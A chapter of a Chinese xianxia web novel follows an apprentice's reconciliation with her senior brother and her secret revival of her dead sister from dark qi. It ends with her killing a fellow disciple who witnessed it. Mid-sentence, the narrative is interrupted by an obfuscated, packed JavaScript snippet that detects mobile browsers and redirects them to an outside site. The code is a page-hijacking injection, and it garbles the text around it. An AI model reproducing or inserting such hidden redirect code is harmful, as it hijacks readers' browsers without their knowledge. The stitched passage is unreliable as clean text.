朝瑛听到裴思星在殿外拜见时,微有讶异。
她知徒儿芳臣与他交好,但这位首座弟子自成年后便不常踏足沉兰峰。师兄有意培养他继任,总比其他弟子更忙碌些。
朝瑛让人请进来。
裴思星道明来意,竟有关于清梧峰的小师侄。
说是她一时气郁吐血,不知是否和前些日子伤她的浊气有关,问可有药物或法诀能医治?
朝瑛反问,为何小阮没一同前来?裴思星却面露难色。
朝瑛为他看茶,说,坐下再谈。
品口茶,他紧绷的心弦才放松下来。
朝瑛见他愁染眉头,带着那红痣都有些暗淡,便柔声道:“玄阳,没有不能同师叔说的事,从前你刚上山时,总往沉兰峰跑,长大却生疏了。”
裴思星才缓缓舒一口气道:“弟子惭愧。去年,小阮曾编了个玉珠络子相赠,原本我天天带着,可芳臣说这与他兄长所佩甚是相似,难免睹物思人,我便把它收起来,今日却被小阮误会,惹她咳血,不再理我。弟子不知如何是好。”
言罢,他面带羞愧之意,“弟子本不该因此困心乱意,更不该为此叨扰师叔,只是实在担心她……”
朝瑛略一思考,心下了然,道:“应是前些时日为浊物伤了的缘故,那是贯穿伤,痊愈需时日,像吐血这类后遗症也难免,不必过于自责。我为她备几服药,你带给她赔罪,把缘由说开,小阮并不是不懂事的姑娘,她会明白。”
裴思星忙拜谢之。
朝瑛将药拿给他,见他恭敬告辞后远去的背影,不由暗自思索起来。
·
阮含星正趴在床上给她的布老虎排大小,忽听玉牌有音讯,原是裴思星。
她翻身坐起,摩挲玉牌片刻,才连通,却不语,那边传来略有些急切的声音,“小阮……”
她没回应,所以气氛显得有些尴尬。
裴思星道:“小阮,我在峰门处,瑛师叔为你准备的药,我拿来了,见见我,好么?”
她能拒绝裴思星,但拒绝不了朝瑛。
理理衣裳,她还是下床,准备出去见他。
峰门处,清风阵阵,拂得墨发白衣微动,红痣下的秋水眸带了牵挂,那份仙人的清逸出世忽似沾了人间风月情长。
自那紫衣身影闯入眸中,视线便一直追随,不曾放开。
她来到峰门处、他身前,站在阶上,身形瘦削,肤白唇淡,眼眸沉静。
还是她打破沉默,伸出手道:“师兄,劳你牵挂,也烦请你替我谢谢师叔。”
他把药递给他,她客气见礼就转身告辞。
“……小阮,别走。”他拉住她的腕,“对不起,那络子是我怕芳臣睹物思人才取下,并非丢了,我一直珍藏在匣中。”
阮含星轻叹一声,“师兄去忙吧。”
握住她腕的手始终没放开,带着一丝执拗,“小阮……”
她不语。
只感到腕上的力度放轻,他沉默片刻后道:“回头看我一眼,也好。”
说出这句,他既有一种陌生的感觉,却又如释重负。
陌生在,他竟也会说出这样的话;如释重负在,他终于把心底的盼念说了出来。
阮含星终于还是回头了。
而她回头的一瞬,他便拉着她的腕,拥她入怀,紧紧抱着,仿佛这刻心境才平和、才踏实,才从云端回了地上。
他想,从前他骗自己,是为了满足她才拥抱亲吻,今日才敢承认,是他自己想抱她,是自己渴望拥抱的温度,他满足的从来是自己的欲念。
她听着衣衫下胸膛的跳动,闻着衣襟上的清香,不由起了燥意,软了神色。他抱着怀里的姑娘,被她的发髻与簪花微微蹭着下颌,带着些许痒意。
两人都没说话,此时此刻,拥抱是一种不真实的真实。
待缱绻片刻,又一阵风来,阮含星才叹道:“我知道,师兄和他多年感情,我只是有点难过。”
这个他,不言而喻是郑芳臣。
“不会再这样了,小阮,对不起。”裴思星道。
阮含星感觉有个东西被他塞入自己手中,低头去看,却是一块细腻清润的白色太阴纹玉佩,串着玉珠银流苏。
他道:“这块玉佩给你。”
“师兄,这是……你的裴家玉佩。”
他松开怀抱,俯身捧着她的脸,对视着,郑重道:“赠我以珠络,报你以琼瑶。我不会再让你伤心,给师兄一些时间,好么?”
时间,什么时间?阮含星没明白,她打岔道:“师兄,那你以后不许再偏心他。”
“不会。”抵额相贴,亲昵承诺。
晚风轻轻天色将暮,他才不舍分开,道:“小阮,你好好休养,有件门中事我还要去办,有事务必找我。”
阮含星目送他一步三回首地离开,而后将那玉佩串在自己腰间。
得朝瑛与裴思星照顾,她不日已大好,便回藏云峰进学,再次见到郑芳臣,心情十分明媚。
郑芳臣拦住她的脚步,“你很得意么?”
阮含星朝他甜甜一笑,“是呢,二哥。”
“不准那么叫我!”郑芳臣冷斥,“你别高兴太早,总有一天,我会让所有人知道你的真面目,让你暴露在晴天朗日之下。”
阮含星瞧瞧天上灼灼的大太阳,哈哈几声道:“我现在就暴露着呢!”
郑芳臣看着她,左思右想搜刮不出什么词,便骂了句妖孽,遂道:“给裴师兄送和哥哥一模一样的络子,别以为我不知道你安的什么心!”
“是,我是妖孽,不怀好心。”阮含星踱步上前附耳道:“那么,你好到哪里去呢?”
一句你也配和我比未说出口,他便听阮含星悠悠道:“同样的世家长兄、同样的温润君子、同样的天之骄子,甚至……同样的身量、同样的兰草香、极其相似的声音。郑芳臣,你在他身边时,到底是把他当成你的瑶山师兄,还是你最敬仰的兄长——郑家家主郑兰卿呢?”
兰卿二字,她念得极其温软缱绻。
郑芳臣握紧了双拳,望她的双眸依旧是那般充满毒恨,可此时却甚至一句反驳的话都说不出。
“反正都一样,不如我们分掉他?”
阮含星边说边笑着走远。
郑芳臣,骨子里和她,明明就是一样的。
又装什么师兄弟情深。
·
是夜,清梧峰。
阮含星以血召出浊气,浊气又化为霜发玉颜、但毫无生息的元白露,落入阮含星的怀中。
她轻轻抚摸着元白露的脸颊,看那脸颊白中透着微红,栩栩如生。
“就快好了,阿姐,你再忍忍。”她望着窗外淡淡的星云,温声自语。
到现在这样,已经很好了。
一开始,阿姐原本只剩下一颗蛇丹。
再后来,她用血肉残魂滋养,阿姐变成了一张黑褐的蛇皮。
接着长出了人身、清晰了容颜,就像从母胎中诞生那般,她开始伸展了四肢、莹润了肌肤、生长了头发……最后变成了人。
可那样的人,只活几天便死了。
她不断地用寿数给她续命,可依旧阻止不了劣质品的衰老。最后一次,那个可悲可怜的劣质品,似乎爱上她为兄长制作的另一个劣质品,然后自己了断生命,为他殉情。
还是陆师兄帮她为那两个劣质品下葬的。
她想,一定她前面太着急,上瑶山后,她要积蓄更多的力量,炼制出完美的阿姐,长长久久地陪伴她。
这具肉身,一定是最好的、最贴近的完美作品。
若能取得传闻中有逆转乾坤日月之力的瑶山石,阿姐回来更万无一失。
阮含星讨厌孤身一人的日子,清梧峰冷冷清清,朝珩月余不归,上官涵自请闭关,裴思星王筠之不能时时共处,其余时间不用来练剑修法,怕要被孤寂逼疯。
好在晚上能悄悄与阿姐相会片刻。
然而终无法长久,她的法力支撑不住。
时间差不多也到了,阮含星抚着怀中人鬓边那缕白发,恋恋不舍地将她化为浊气之态,然而就在她要收之入体前,她听闻到外间一点轻响。
她的听力其实并不好,可却对地面的振动十分灵敏。
大意了。
朝珩不在清梧峰时,虽只有她在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15287506|161800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,可并不意味着别人来不了,且清梧峰对瑶山内门弟子并未设置禁制,不是所有人都会乖乖在峰门请示。
她沉浸于阿姐温柔中,未及时察觉。
看向窗外,景致光影并无变化。
没有丝毫犹豫,阮含星微眯双眸,步履轻轻,敛去气息出了内间。
外间扫去,并无异样,她走出室外,夜色沉沉,花影微动、风声簌簌、虫儿低声鸣叫。
绕墙而行,她发现有几朵花有被轻踩过的痕迹。
真是不小心。
阮含星轻勾唇角,脚步几近无声朝一个方向走去。
室外东南方向的低处,有一个石碑,一面临悬崖、一面向阁屋。
临崖一面,方吟靠着石壁手微颤,冷汗从额头冒出流下。
她奉师尊之命,前往各峰来和裴师兄、几位尊者和这位师妹传话,让他们明日辰时到莲华峰,有要事相商。
因师尊为几人都准备了佳品丹药为赠,所以她无法只用玉牌传话,要一一面见。
清梧峰离莲华峰最近,所以她先去了最远的凌霄峰、玄阳峰,而后再由远至近,到清梧峰,最后就可顺路回莲华峰。
可是到清梧峰后,她走近屋,却听到里面传来隐隐低语,让她一惊,再悄悄从窗中窥去,却见了她修士生涯中最难以置信的景象。
为什么,那模样秀美的小师妹,竟从血液中召唤出一股十分污浊的气息,而那气息,竟又变成和她一模一样的傀儡般的白发少女!
到底是什么术法?!方吟下意识只能想起只存在于传闻中的远古邪术秘法。
她虽已屏息,但仍旧一时惊慌,不小心踩到一片花。
清梧峰寂静的夜,她无由感到一阵心悸胆寒。
那女孩警觉得很,方吟如在悬崖踩细绳一般,又急又慌却不得不轻声挪步,入眼之处只有这石壁可藏身。
眼前脚下再脉一步就到悬崖,她的御剑术不好,不敢轻易御剑,生怕御剑灵力波动,被发现后更无法脱身。
她冷汗津津地将手放在玉牌上,此时、此时只能联系师尊,但又不能出声,希望师尊能发现异样。
然而她还未念出接通玉牌的口诀,一阵寒风微微拂过,天上星光似微闪几下,一个人影悄无声息地从她身侧石壁走出,就站在她的右后方。
“方师姐,来清梧峰有何要事呢?”
乌发披散的少女,脸上仍有稚嫩的圆润感,可月光流渡在瓷白的面容和嫣红的唇上,再衬着微含笑意的潋滟双眸,那抹稚嫩背后就不是天真烂漫,而无端平添一丝若有似无的妖冶。
方吟瞳孔微大,后退一步,捏紧玉牌。
“好师姐,别说出去,好吗?”方吟退一步,阮含星便上前一步,语言柔和地像是在哄稚儿。
又或是毒蛇轻声低吟以诱惑无辜的少女。
方吟吞了口口水,阮含星继续软声道:“师姐,小阮从没害过人,你一旦告诉掌门,那么整个瑶山都会把小阮视作妖邪而诛杀。就让这件事成为秘密吧,如果以后小阮有害人之心,你再告诉掌门也不迟。”
“放下玉牌,好师姐……”
“你保护我,我也保护你今晚无虞……”
方吟垂眸,长睫颤抖,她看着眼前少女诚恳的双眸,难以说出拒绝的话语,手中就要放下玉牌,可又想起入门时师尊的教导——
邪魔惯会哄骗人心,自古邪不胜正,诛杀邪魔天经地义!
她又拿起玉牌,急声道:“莲华峰、朝璟……”
她念出那五个字时,便看到少女脸色瞬间如霜般冰冷,带着夜色都凉了几分。
玉牌接通的一瞬,害怕到极致的尖叫划破清梧峰完全沉入墨色的夜。
随之而后,便是一句充满担忧和惊慌的“方师姐,啊!”
方吟被浊气折颈而过、血沫涌入咽喉的一霎,她眼中的最后景象,便是看见那浊气也同样穿过阮含星的肩胛,阮含星喊出那句既担忧又无措的话后,面对着她,被浊气击飞滚落了悬崖。
方吟只能发出不成言语的破碎声音,为她的生命唱出最后的喑哑乐曲。
玉牌中传来的急切话语,再无应答。